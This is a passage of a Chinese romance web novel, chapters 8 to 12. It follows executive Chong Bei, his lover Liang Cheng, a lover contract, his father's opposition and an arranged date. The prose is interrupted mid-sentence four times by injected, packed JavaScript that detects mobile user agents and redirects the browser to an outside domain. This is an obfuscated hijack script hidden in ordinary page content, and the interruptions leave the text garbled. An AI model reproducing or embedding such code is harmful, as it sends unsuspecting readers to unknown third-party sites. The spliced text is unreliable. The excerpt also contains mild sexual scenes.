近几日梁澄缺席的磋商会由贴身助理李勉全权代劳。 面对合宜方面对梁总行踪的问询,李勉四两拨千斤,只说有其他紧急项目处理,其余的,一个字也不透露。 梁澄突然的不告而别,冲北心里总感觉不对劲,虽然李勉已极力解释同这次合作无关,是被其他项目绊住脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275757|182404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但是冲北的第六感,隐隐感到不安,有种山雨欲来风满楼的前兆。 最后的合同终于敲定,只等双方总裁签字。但梁澄还是没回来,这让冲北本就不安的情绪持续扩大化。 在顾越辙的帮助下,冲北得知梁澄几日前飞往J国的消息。 J国……合宜总公司所在国,梁澄待了七年的国家。 匆忙急召回J国,何种原因,自然不言而喻。 冲北暗道不好,这次的合作极有可能到头来竹篮打水一场空。 夜晚,柔软的床上冲北辗转反侧、翻来覆去,睡不着。 临门一脚出了这么一档子事,任谁心里都憋着口气。 冲北干脆坐起来,打开卧室的吊灯,灯影绰绰,晃得人眼睛疼。 他起身下床,来到客厅开了一瓶啤酒,大口饮。 酒过半瓶,耳畔传来噔噔的敲门声。 冲北屏气凝神数秒,再次传来声响,他没听错。于是,猛地站起来,晕头转向地去开门。 门刚打开,外面的人带着略凉的秋意袭来,抱了满怀。 冲北紧绷的身体闻到颈窝熟悉的体香,瞬间放松,仰头大笑,“是你呀,梁澄,欢迎回家。” 梁澄冰冷的眉眼顿时化开,反手关门,亲着他往里推着走。 冲北两颊酡红,微醺,半推半就,双手环住他脖颈,亦步亦趋后退。 客厅灯火通明,梁澄余光瞥见茶几上摆着的啤酒,舌头入侵口腔,同样也尝到了淡淡的酒香。 他稍稍退半步,拦住冲北后腰,明知故问:“喝酒了。” 冲北点头,“喝了一点儿。” 见梁澄拧眉,他松开一只手,食指和大拇指比划出真的“一点点”。 梁澄又问:“怎么?心烦了?是因为这几天我没来吗?” 他的眼眸稠黑,凝视着冲北,不知道是眼神的引诱,或是酒精的蛊惑。 冲北重重点了两下头。 下一瞬,梁澄眼神凶猛地吻上去,双手往下移,拖住他浑圆的臀部,往卧室带。 也许是自然而然,也许是被迫,冲北双腿缠上他的腰。“砰”一声,他被放倒在床上。下一秒,梁澄倾身而下,亲上去,单手解衬衫扣子的同时,另一只手摩挲他微微发烫的脸颊。 冲北被压制,毫无还手之力,只能帮助他剥落衬衣的同时一把脱掉自己的丝质睡衣。 两人rou.贴肉抱在一起,滚烫的肌肤紧紧相贴,浓烈的鼻息回荡在彼此耳边。他来势汹汹,冲北被动承受,在漆黑的深海里遨游。 “你轻点。”冲北脸朝下,声音凄惨呜咽。 梁澄大汗淋漓,一大颗热汗从脊背中线滑落,消失在尾椎骨的沟壑当中。他放缓动作,贴着冲北耳边,柔声说:“已经很轻了。几天不见,你难道就不想我吗?我可是很想你的,小冲。” 冲北心头一震,反手推了一把他肩膀,动作突然停下。他艰难地扭头看向梁澄。前胸泛着不正常的玫红,墨黑的眼眸里充斥肉.yu。灿亮的灯光下,那双狭长的眼里,倒影着同样陷入yu.望里的自己。 而后,冲北一句话,让滚热的气氛以迅雷不及掩耳之势抵达到冰点。 他问:“梁澄,对芯冲的投资还作数吗?” 9. 第9章 梁澄停了一瞬,随即抽身退了出来,捡起床边纠缠成一堆的衣服,慢条斯理开始穿。 他眉目冷色,连余光也不分给冲北。 冲北沉默地仰靠在床头,望着他,也不知道该说点什么。 是他,在气氛最好的顶点,口无遮拦,说出了心里话。 他不应该那样急切的。 扣好接近喉结的最后一颗纽扣,梁澄抬高手臂朝后抹了一把凌乱的发丝,然后又朝外走,头也不回道:“当然是作数的。” 他远去的背影没有过回头,一往无前,直到消失,冲北收回视线。 翌日,梁总果然说话作数,两家集团达成初步协定。 但随之而来产生的,还有一份伤人的情人合约:冲北作为乙方,需要无条件服从甲方梁澄提出的任何生理需求。 冲北在"任何"前面加了“合理”二字,给予自己身心健康的保障。 梁澄爽快同意,并签上自己的名字。 龙凤凤舞的签名,旁边,冲北一字一画,慎重地落在自己的名字。 签完这份卖身契,冲北似乎感到很屈辱,他颤抖的手一把甩掉紧握的钢笔,黑水在白纸黑字的A4纸上洇开,迅速晕成灰黑色的墨点。 合同纸脏了…… 他赶忙抽出面纸去擦,纵使争分夺秒,也只是亡羊补牢,如同他和梁澄的感情一般。 * 为了履行“合同”义务便利,也是更好的完成“工作”任务,两人从上下楼邻居关系变成了同居关系。 作为乙方,当然是劳烦他主动搬进甲方梁澄的家中。 梁澄的衣帽间特地空出一部分出来,冲北挂进自己经常穿的黑白灰衬衫西服,偶然发现旁边挤满衬衫的柜子角落里,突兀地挂了一整套西服。 冲北发现是他常穿的品牌,又眼熟地认出这就是那晚他遗留在这里的衣服,被清洗干净后,整齐地收纳到不属于他的位置。 他提高衣架,把它物归原位。而他穿回家的宽大浴袍,这一次也同样回到属于自己的位置。 花费半天时间整理完毕,冲北驾车去公司的路上,收到了来自冲家老宅的急电,他旋即打方向盘,调转方向。 冲霄于一年前正式退休,在配套优质,环境幽雅的近郊购置了一套养老别墅,远离城市喧嚣,把公司全权移交给下一代掌权人。 汽车驶入别墅的地下车库,冲北脚步匆匆上楼。 管家早在门口等候他,一见到人,立即上前。 没等他说话,冲北率先发问:“什么情况?我爸刚才冲我发了好大一通火后,就让我立马回家。他也不说到底要干什么?李叔,你给我先透透底。” 李叔为冲家工作多年,是看着冲北长大的,也是冲霄的得力助手。他脸色为难,抿了抿唇,显得为难。 见他沉默,冲北又自顾自说道:“难道我爸最近又进入更年期了?” 管家:“……” 管家不说话,只一味在前领路,替他打开书房的门后,迅速消失。 冲霄严肃地坐在宽大的黄梨木书桌前,望向额头布了一层薄汗的冲北。 冲北笑嘻嘻走到他身边,俯身凑近父亲冷面,一下一下讨好地按着他肩膀,语气轻松地问:“老爸,您有什么吩咐?这么着急,我下午公司还有事儿呢。” 往常按冲北这副乖顺的模样,冲霄早就心花怒放。而今日,严肃的神色不仅没有半分松动,眉头反倒拧成川字。 他慢慢侧过脸,具有压迫地盯着冲北,语气中气十足,“同合宜的合作马上停止!” 冲北一怔,手上按摩的动作随之停下。他站直上半身,拉开两人距离,攥紧双拳,质问道: “凭什么?这是我好不容易才谈下来的合作,你一句话,让整个项目组的人白干几个月。产业园的项目对公司有多重要,难道您不清楚?” 独立掌握公司不到一年的冲北,已经拥有掌权者的咄咄逼人。 冲霄欣慰的同时又明显感到些许力不从心。 时隔七年,这两个人竟又凑到了一起! 他绝对无法接受自己儿子是一个同性恋的事实。虽然C国同性婚姻已合法化,但这种畸形的两性结合也只属于少数群体。 他承认他是一个老古板,他接受不了自己的儿子同一个男人在一起。 七年前接受不了,七年后,同样也无法接受。 可一切的孽缘皆是因为他,如果当初不是为了……没有接梁澄到冲家,那现在的一切也不会发生。 冲北会是正常男人,他会娶妻生子,会像他抚育冲北那样,同样成为一位称职的父亲。 但是两个男人在一起,违反了自然运行规律,他们无法正常结合,没办法孕育下一代。 没有下一代,他如何同难产而死的发妻交代,说他的儿子因为他的贪婪,变成了个彻头彻尾的同性恋? 冲霄无法与他对视,他缓缓起身,语重心长道:“合宜不可以,我已经帮你物色到另外一家同样愿意合作的集团。” 冲北后退一步,面露惊色,“怎么可能,国内有这个投资实力的公司我早就接触过,无一例外,最终都拒绝了。” 冲霄耐心解释,“是来自港岛的公司。” 冲北拧眉,他的确没有考虑过同港岛的合作。 那地方特殊,各方势力盘根错节,经济高度发达的同时,也是传统糟粕的坚定维护者。 那些老牌家族最擅长联姻去换取坚固的利益联盟。 要想打破他们内部的壁垒,只有靠同实力雄厚的集团千金商业联姻,换得合作机会。 冲北想的没错,下一秒,冲霄说:“我已经安排你和隆鑫的千金相亲。这段时间,就暂住家里吧。公司你就别操心了。” 冲北猛地抬头,他被父亲架空了。 * 冲北已经有三天没去上班,他被保镖限制在这栋布满无死角监控点的别墅里。 对外宣布冲北休假,冲霄远程遥控,采用线上模式,代理了他在公司的一切工作。 助理甘鸣收到来自“冲北”的线上办公通知,同时内部也发布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275758|182404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲北的休假通知。 作为贴身助理的甘鸣,率先嗅到了很不寻常的味道。但公司各部门间运行顺畅,连董事会的人都默不作声,他自然也心领神会。 与合宜正式签约日期果然推后了,而被困在别墅里的冲北只能干着急,焦躁得连嘴角都起了水泡,还是被强制“押送”到远东大饭店,接受一场相亲宴。 相亲对象是隆鑫集团的大小姐,名唤黎绮思,少有的港岛富豪家族独生女,黎家下一代接班人。 这样一场相亲的目的十分明确。 黎绮思妆容得体,气场强大,一条简约的白色连衣裙衬得她又增添了几分女性的柔美。 看见冲北的那一瞬,眼睛亮了亮,看起来对这位相亲对象相当满意。 等人走到跟前,冲北礼貌起身,她自如地伸出掌心,两人简单打了招呼。 冲北绅士地递过菜单,问:“黎小姐,你来点菜。” 黎绮思大大方方接过菜单,迅速点了几道菜,便又把菜单递过给冲北,很客气,“我点好了,冲先生你来。” 冲北接了过去,合上后,径直递给了旁边的服务员。 等菜的间隙,两人客气聊了几句。 黎绮思样貌好,气质佳,聊起天来也丝毫不冷场,是一位相当完美的联姻对象。 要是冲北不……就好了。 “冲先生不是自愿来的吧。”黎绮思的话把走神的冲北重新拉回来。 冲北点头,坦诚道:“是的,我不是自愿来的。” 闻言,黎绮思非但不生气,还兴致勃勃地问:“有喜欢的人了?但家里人不同意?” 冲北攥紧手心,否认,“没有。” 黎绮思“啊”了一声,自我怀疑地问:“那是我不够漂亮?没有打动到冲先生吗?” 她的声线带着港岛人讲话特有的韵味,这句话听起来不像质问,反倒有些许幽默。 冲北再次摇头,笑道:“黎女士很美,但我不习惯这种交换资源的合作方式。你很好,理应值得一个真正爱你的男人,而不是一场互相算计的婚姻。” 黎绮思怔了怔,她并不觉得这是算计,只是一种风险较低且相对稳固的合作关系。 要是面前这位男士心里没有喜欢的人,不失为一位完美的合作伴侣。但他显然心有所属了,夺人所好,她没兴趣。 黎绮思抿了抿涂了淡粉色口红的唇,敷衍地点头,“谢谢你的夸奖。” 既然有一方没有那个意思,那么这顿饭就当交个朋友。 两人交换了联系方式后,便快速结束了这顿心思各异的相亲宴。 一直守在包厢门口的保镖见到两人出来,对视一眼后,默契地两边夹击,一步之遥距离紧跟冲北。 黎绮思小声调侃,“要美人不要江山?” 冲北笑了一声,脑海中浮现某个人的虚影,摇头否认,“没有。” 黎绮思拢了拢肩头滑落的羊毛披肩,侧过脸,盯着他,问:“是没有,还是既要又要还要?” 这一次,冲北没有回答。 10. 第10章 回到别墅,冲霄早就客厅的沙发上坐着,等候最新消息。 冲北刚刚踏入玄关大门,耳边传来冲霄由远及近的问询,“如何?黎小姐漂亮又有能力,配你小子绰绰有余吧。” 冲北瞥了老爹一眼,没说话,点了个头。 两人并行走着,冲霄语气和善地说:“你老爹我怎么可能卖你,黎家是我精挑细选过的人家,家庭关系干净,家族内部简单,是极好的结婚对象。你小子就珍惜吧,过了这个村,就没这家店。” 冲北又点头,绕过他,面无表情朝着卧房方向走。 被小崽子忽略的冲霄也不发火,跟在他屁股后面,喋喋不休,“今天约会感觉怎么样?约了下一次见面没?” 冲北猛然止步,差点撞到身后跟得太紧的人,扭头道:“我累了,您先让我歇歇吧。” 冲霄心中不悦,但看见他神色恹恹,心疼占据上风,“行,你先休息。公司的事有我,你不用担心。” 不就吃个饭,累什么累,你老子我最近一边帮你处理公事,一边还要操心你婚姻事儿,我都不累呢。 冲北呲笑一声,阴阳怪气,“我不担心,有您在,什么时候需要我操心公司呀。” 他说完就溜,留下原地气得一脸煞白的冲霄。 洗了个澡,冲北捏着手机仰靠在床头发愣。 屏幕显示是梁澄的会话框,除了被抓回别墅那天的晚上他问自己去哪儿了,一直到现在也没有任何信息。 手机是今天相亲才交回到冲北手上,看着将近一周前的旧信息,他感到挫败。 梁澄根本不在意他,一个大活人没有任何征兆,消失了数天,却只是问了一句,没有回复,便不在意了。 梁澄不是这样的,以前的他,五分钟没回消息,下一秒,连环夺命扣就会疯狂响起,一直到他接通为止。 那时的在意是显而易见的,现今的忽视也是。 越想越生气,冲北一把扔掉手机,愤怒地在床上呈大字型平躺。 他愤愤地盯着白色天花板,忽然想起来黎绮思餐中闲聊时提出的建议:既然两人都不想相亲,要不要互相帮助应付一下双方家里人。 冲北没有当场拒绝,只说考虑后再做答复。 他和梁澄的那纸协议才刚生效,此时和其他人产生说不清的关系,很不明智。 而现在,他的确要慎重考虑黎绮思的提议了。 梁澄的绝情,伤到他了。 冲北找到手机,给黎绮思发了条信息:我们谈谈。 * 同“合宜”的合作彻底终止,合作对象换成了黎家“隆鑫”。 在利润方面,冲北做出一定让步,也结束了被软禁的活,重新回到芯冲上班。 明眼人都看得出这次总裁临时“休假”的不正常,更别提只有年底职工大会露面的董事长冲霄最近竟然三天两头出现在公司主持事务。 下头的人大都以为是因为本次合作失误导致的冲北被收回部分权限,但只有少部分人抽丝剥茧找到真相。 冲北最近没有回公司附近的住所,被迫同父亲搬回了冲家市区的别墅,这里离公司不近不远,有三十分钟车程。 一周的时间,梁澄始终没有出现过,连解除合同都是让助理李勉代劳。 冲北烦躁,前段时间烦的是项目,现在解决了,烦的就变成了感情。 梁澄消失了,像七年里一样,彻底消失在他的生活中。 近期,他和黎绮思在双方父母面前扮演着一对一见钟情的男女朋友,两人一起工作,工作结束后,再骗双方家长去约会,实则车库掉头后,各走各。 回家前的时间如何打发? 冲北前几次都是约上一两位好友吃饭,但朋友们都忙,没办法天天约,而提前回家又要被父亲质问。 今天,冲北打了几通电话,始终没有约到人。但公司里还有眼线在,他又不得不同黎绮思一起离开公司。 在车库告别后,冲北驾车沿着马路直行,竟然不知不觉拐了个弯,来到了梁澄家门口。 按下指纹的那一秒,他震惊于指纹没被删除的同时意识熟门熟路来到了哪个家里。 滴答一声,大门自动打开,冲北踟躇片刻后,面对空荡荡的房子,还是忍不住换好拖鞋进去了。 屋子的摆设和他离开前一模一样,他走进衣帽间,发现自己的衣服竟也都还在。卫生间里,洗漱用品也成对的整整齐齐摆放。 梁澄没有扔掉他的物品,也没有把他的东西搬回楼上,甚至连位置也没移动过。 冲北顿时头脑发热,转念一想,按照梁澄冷漠的性格,也许是因为懒,连请人扔掉的功夫都嫌浪费他宝贵的时间。 在屋子里转了一圈,冲北盯着茶几上缺了一个的一组套杯。 那套杯具是由某知名品牌的手工打造限量版玻璃杯,原本一组两个,现在只剩下一只,孤零零地躺在桌面。 冲北记得走之前拿起其中一只倒了水喝,然后随手把剩下的半杯水放在餐桌上。 现在杯子只剩下了一只,另外一只杯子应该是碎了,冲北记得自己家中也有这套杯具。 不知出于什么意图,他上楼拿下一只更换上去。 正准备出门离开时,门从外打开了,他与门外醉醺醺的梁澄,在玄关“对峙”。 梁澄像没看见他似的,动作稳如泰山,俯身换鞋关门,一气呵成。 经过他时,一股浓烈的酒精味扑鼻而来,他冷漠的眼尾被熏成桃色,领带松松垮垮搭在凌乱的领口。 醉态的模样,削弱了平时商业精英冷淡的距离感,变得有血有肉起来。 他一边往里走,一边脱掉外套搭在手腕,顺手往下解开几颗扣子,露出涨红的胸脯。 健壮的胸肌因充血而更显勃发,迷离的狭长凤眼骤然扭头看向呆愣在远处的冲北,颐指气使地命令,“你!给我过来。” 冲北一怔,这人真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275759|182404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是醉得不轻。但醉样却格外勾人,那双微微发红的眼,勾得人心一颤一颤。 冲北被迷得晕头转向,竟然听话地迈着大步到梁澄跟前,小心翼翼地扶住他肩膀往里走,低头看路,边走边问:“你这是喝了多少?” 梁澄没有回答,只是一味侧脸盯着他。他的眼圈泛红,眼白充斥蛛网般的红血丝。 见他不搭话,冲北抬头一看,发现了他直勾勾的视线。 冲北停下,盯着他,问:“怎么了?哪里不舒服?要不帮你弄个醒酒汤。” 梁澄没说话,一味盯着他看,看着看着…眼里闪过一阵迷惘,他摇了摇脑袋,像撒娇,“我要睡觉。” 声音透着股沙哑,还挺带劲儿。 于是,冲北把他扶到大床边坐下,拿起他手肘的外套,转身挂到衣架上。 一转眼的功夫,他听见皮带扣头解开的金属声,扭头看,那人的黑色西裤已经滑落到地面,肌肉线条漂亮的大长腿暴露在空气里,两只手还正在脱自己皱巴巴的衬衫。 衬衫被像抹布一样丢在地上,梁澄摇摇晃晃从地面的裤管里迈出来,径直扑向了冲北。 冲北手里还攥着那件面料高级的西装,略硬挺的料子在手心被抓出扭曲的褶皱。 他后退一步,碰到落地衣架,发出清脆的响声。 梁澄光裸着抱住他,两人之间夹着那件厚重的外套,感觉很不舒服。 梁澄一把揪出碍事的东西,摔在地上。 冲北神色惊惶,显然被现在丧失“人性”的某人吓得懵了,不过对方没做下一步动作,只是抱得很紧,想要把面前这个人揉捏入他的骨血里,融为一体。 梁澄该是醉死了。 冲北抬起手臂,安慰似的拍了拍他后背,手心下的皮肤潮热,指腹顿时沾满热汗。 他听见耳边浓重的喘息声,梁澄呓语了几个字,冲北贴耳去听,声音断断续续,根本听不清。 两人安静地拥抱了五分钟,与他贴着的衣料和皮肤,都被汗水侵染,透着稠密的潮热。 他的身体依旧滚烫,抱着冲北像抱住了一块解热的冰。 热气传递过来,冲北感到烫。 冲北爱抚地摸了摸他后脑勺,发现连头皮都在发汗。 “梁澄,你要不要洗个澡?你身上好烫。”冲北问。 梁澄低声“嗯”了一下,依旧维持拥抱的姿势。 冲北只好打商量道:“你先松开我,我带你进浴室洗个澡。” 梁澄没反应。 过了数秒,冲北抵住他的肩膀,把人往外推。 但醉鬼的力量显然没有因为喝醉而减少,两只手臂牢牢地箍住他,给他上了一把由锻钢制造,无比坚硬的铁锁。 冲北无奈,只好抱着他一步一步朝卫生间方向挪。 两具身体毫无间隙,紧紧贴在一起走,梁澄没有挣扎,亦步亦趋,像失去知觉,但听话的孩子。 听话的孩子有糖吃。 11. 第11章 好不容易挪到浴室,冲北这时候也累得满头热汗,白衬衣的后背湿了一大块。 他拖着一个大男人,打开风暖面板,又拧开淋浴器。 呼啦的风声伴随哗哗的水声在浴室回响,被热水一淋的梁澄看起来似乎清醒一些了。 迷乱泛红的眼睛直勾勾地注视着冲北。 从上而下的水流由头顶拍落而下,浓密的睫毛因重力受压,湿哒哒盖在眼睑。 冲北的白色衬衫被水淋透,露出底下身体漂亮的肌肉线条,那人的手臂紧紧箍在身后,但也没有进行下一步动作。 穿着湿衣服当然是不舒服的,但冲北此时只有一个念头,面前这头发醉的饿狼随时可能爆发,他只想帮他清洁干净,送佛到西,让他赶紧睡觉。 冲北关小了水流,伸手挤了两泵洗发水,在他头发揉搓出泡沫,绵密的泡泡沿着额头往下溜进眼睛。 梁澄不舒服地眨了眨眼,手依旧没动,冲北两只手沾满泡沫,根本挪不开手替他擦拭。 从未贴心伺候后别人的冲小爷,此时也有些生气了,大声道:“眼睛里进泡沫了不疼吗?松开我,自己擦一下。” 梁澄眼里闪过一丝迷惘,低头在他肩膀蹭了蹭,越蹭,泡沫浸入眼睛越厉害,眼角肌肉颤抖愈严重。 冲北赶紧调大水流,拿起手持花洒,抓起他的后脑勺,替他冲干净脸。 醉酒的人此时终于懂得闭眼,冲完脸上的泡沫,手臂抬高,顺势冲干净头发,“好了,睁开眼睛,冲一下眼睛。” 梁澄缓缓睁开猩红的双眼,像提线木偶,丧失自我意识,跟从冲北的指令 ,睁眼,闭眼。 好不容易伺候梁大少爷洗完,又替他裹上浴袍。冲北把人带回床边让他先坐一下,自己身上却湿得难受。 白色的衬衫变得完全透明,黑色的西装裤紧紧贴着大腿,难受死了。 “你自己在这儿坐会儿,我进去冲一下就出来给你吹头发。”冲北反手去掰他扣在腰后面的手。 梁澄摇头,侧脸径直贴在他潮湿的腰腹,伸出舌尖细细舔舐,像对母猫撒娇的小奶喵。 冲北心头一软,他这副黏人的样子,像极了七年前谎言没有被戳破时的梁澄,乖得要命。 他伸手捂住梁澄的唇,被水泡得发皱的掌心皮肤湿.滑,冲北扣住他的面部,用力往后推,“梁澄你清醒一点儿,放开我,让我去洗个澡。” 梁澄身体后仰,手臂仍然紧紧扣住他,裹了层朦胧水雾的眼睛牢牢凝视冲北,似梦似幻,语气撒娇,“不好,不能放开你,放开你就跑了。” 冲北心脏猛地一震,似乎有什么东西从里面溢出来了,满满的,充盈他的骨血。 梁澄就那么认真地盯着他,一眼不眨。 面对如此惹人怜爱的梁澄,冲北心硬不了一点儿。他妥协道:“一起进去浴室,你在玻璃隔断外面也能看到我,但别进来,行吧。” 醉酒的人反应有些迟钝,过了数秒,梁澄才点了点头,表示同意。 于是,两人又像连体婴儿返回到卫生间。 卫生间里还残留先前白雾的水汽,充盈了白茶味沐浴液的香。 冲北让梁澄站在淋浴房外面,推开玻璃门进入。 哗哗水流声响起,布满水滴的玻璃门也慢慢蒙上一层薄薄的雾纱,里面的人影从清晰到朦胧,最终只留下一个浅浅的幻影。 梁澄看不见冲北了,他的承诺再一次不作数。 雾气的玻璃门被再次拉开的时候,赤.身.裸.体水淋淋的冲北看见了一脸惊惶失措的梁澄。 不是没见过彼此光.裸的模样,但这种情况下总会感到尴尬。 冲北拧眉,有些上火地问:“怎么了?不是让你在外面等着,别进来。” 梁澄神色微怔,像做错事的孩子,手足无措。他的外耳廓被熏得殷红,两颊也印上驼红,喉结滚动,害羞地转过身说:“你先把衣服穿上。” “……”冲北无语,谁家好人洗澡穿衣服?他开的门,反倒变成自己的错。再说了,又不是没见过,做出这副娘们兮兮的模样给谁看。 冲北简单冲了冲身上的泡沫,绕过他,熟门熟路从浴室柜里拿出一件白色浴袍穿上,又拿出吹风机,插上电。 他朝镜子里的梁澄挥了挥手,示意他过来。 呼啦的风声响起,梁澄低头敛眉站在冲北面前,让他帮忙吹头发。 黑色的发丝在指缝之间游荡,被热风逐渐风干。 “你转个身,后脑勺吹不到。”冲北的声音伴随嗡嗡的风声。 梁澄没动,冲北以为他没听见,关掉电源,重新说了一遍。 依旧不动。 搞定醉鬼可能是世界上最麻烦的事。 冲北叹了口气,下一秒,梁澄弯腰凑近,自然而然趴在他的颈窝,闷声道:“这样也能吹到后脑勺。” 他的声音软绵绵的,甚至带上了几分委屈。 冲北:“???” 后脑勺的头发和脸离得太近,冲北重新开启电源,调小风量,替他慢慢吹着。 热风在眼前拂过,冲北的脸上也慢慢沾染红晕,被一位健壮的成年男性一直压着,实在不太好受。 头发吹干了,他关掉吹风机,一把推开身上的人,无情道:“吹干了,赶紧去床上睡觉。” 那人被温热的微风吹得迷迷糊糊,后退时险些趔趄,晕热的狭长凤眼里充斥震惊、委屈、不甘心。 梁澄上前一步,夺过他手里的吹风机,指着湿发,有理有据道:“你的头发也是湿的,我帮你吹干,我们有来有回。” 冲北愣了一下,这人都醉成这样,逻辑性还这么强。 “不用了,你先睡觉。”冲北摇头,发丝溅起的水滴四散,意料之外坠落梁澄氤氲的眼里。 梁澄很固执,固执地打开吹风机,固执地利用身体优势,禁锢他的身体,用强硬的姿态替他吹干了头发。 两人今晚的亲昵行为,让冲北瞬间梦回七年前的时光。他们原来也曾有过无数美好的瞬间,却都被藏在时间的一隅。 冲北把梁澄移送到床上,松了一口气的同时,也意识现在该回家了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275760|182404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>冲霄剥夺了他身为成年人的权利,把他当做小孩子,设置了门禁时间。 “我要回家了,你快睡觉。”冲北站在床边,低头说。 话刚落地,他的手被攥得更紧了。 梁澄仰靠在床头,浴袍领口因外力敞开,露出颈部透着绯色的皮肤。 临近深夜十二点,冲北像必须离开宴会的灰姑娘,他必须要走了。 他再次重复,“梁澄,我要回家了。你自己睡一觉,明天醒了就好了。” 俯身,如同哄小孩子一般,动作轻柔地替他把眼前的碎发往后抚了一把。 梁澄眼神倔强,一眼不眨地盯着他,依旧攥着他的手,和讨不到糖吃,只会哭闹的小孩没区别。 他的“哭闹”是来自成年人的隐忍。 大人的沉默,并非默认,大多是不妥协的执拗。 梁澄执拗地不愿意放冲北离开。 两种南辕北辙的意愿两相抵触时,沉默的大多数变成了吃苦头的受害者。 冲北强硬地掰开他的五指,没有商量的语气,“梁澄别闹了,我必须要回家。”觉得自己语气太强硬,又补充一句,“下次再来看你,好吗?” 得到下一次的应允,梁澄恋恋不舍松开他的手,放任离开。 他看起来太听话了,冲北强硬的心脏此刻也变得绵软,凑近奖励地亲了一下他的唇角。 一触即离,好似从没有过。 梁澄干涩的眼睛一下变得灿亮,璀璨如天际繁星。 “再亲一下。”梁澄得寸进尺,跪在床面,拉住他的双臂往自己怀里带。 冲北没有抵抗,顺从地低下头,两人火热的唇舌抵近缠绵,接了一个比蜜糖还甜的深吻。 吻别,其味无穷。 食指旋着车钥匙,回味地舔着唇瓣,冲北驻车停在老宅门口,刚一进门,冲霄早已经等候多时。 看见他一脸笑着回来,脑子里的神经瞬间绷紧。 “去哪里了?玩得这么晚才回家。”冲霄盯着他身上的黑白套装,看起来像新换的,跟早上从家里出门那套有着细微的差距。 火眼金睛如他,才发现得了。 鳏夫独立抚养孩子,他肚里的蛔虫几条,冲霄比本人还清楚。 冲北靠在他旁边沙发坐下,翘起二郎腿,轻松应对,“和黎绮思一起去酒吧喝了一点儿。” 冲霄“哦”了一声,看起来并不相信他说的每一个字。 冲北心虚地咽了一口唾沫,不敢直视他,起身倒了一杯水喝。 这下,老狐狸更相信自己的判断了。 空气中飘散白茶沐浴液的香氛味,冲霄挑眉,意有所指地问:“只有你们两个人吗?” 冲北抬高手臂,企图用喝水的姿势避开父亲的审视,“对呀。”放下杯子,旋即起身,做作地打了个哈欠,“困了,回去睡觉。” 冲霄也站起来,抻了抻真丝家居服上似有若无的褶皱,声音不急不缓,“下次偷完嘴,记得擦干净,身上全是味儿。你小子骗我,还嫩得很。” 冲北:“……” 12. 第12章 那日过后,冲北的门禁时间由晚上十二点提前至晚上九点。 龙港市工业产业园初步计划敲定完成后,黎绮思才会从京州返港,为了方便合作沟通,最近她带着团队在芯冲工作。 近日,冲北在工作中同她接触频繁,非常认可她的工作能力。但作为恋人,对黎绮思着实不来电。他认为对方也持同样想法。 可有得时候,冲北也会自暴自弃地想,要不然就和黎绮思假戏真做算了,反正对方也不介意他喜不喜欢自己。 比起组建一个幸福的家庭,搭建一对完美合作伙伴关系,同样难得可贵,甚至更为坚固、恒久。 相同利益的坚守是最稳固的同盟关系。 “哎,又走神了。”黎绮思涂着藕粉色甲油的指尖在他放空的眼前打了个响指。 冲北抬眼,朝她抱歉一笑,“不好意思。” “没事。”黎绮思干脆起身,活动几下僵硬的身体,对低着脑袋审阅项目计划书的冲北,说:“看你最近魂不守舍的样子,难道''又''被甩了?” “……”冲北抬头看她,问:“什么叫又?” 黎绮思撩开眼前的碎发,侃侃而谈,“根据我对你的分析,我俩合作达成之前你被甩了一次,这两天,你又被甩了一次。” 见冲北发愣。 黎绮思自信补充道:“而且两次还是同一个人。” 冲北:“……” “被我猜中了。”黎绮思又自信地打了个响指。 冲北摇头,语气嘲弄,“黎小姐谈过几段恋爱?未免对自己的猜测太过自信了。” 黎绮思支支吾吾,“我谈过几次跟你又无关系。可我对你的分析绝对正确。我可是Oxford心理系毕业。” 冲北没招了,讪讪敷衍道:“您说的都对。” 黎绮思得意大笑,拉着椅子坐在他身边,兴致勃勃追问:“那女子是谁?” “无可奉告。”冲北冷色,言简意赅。 “那你这就没意思了,八卦一下嘛,生什么气。”黎绮思噘嘴,顿了顿,继续认真道,“你要是真喜欢的话就应该主动追击,坐在这里生闷气是懦夫行为。” 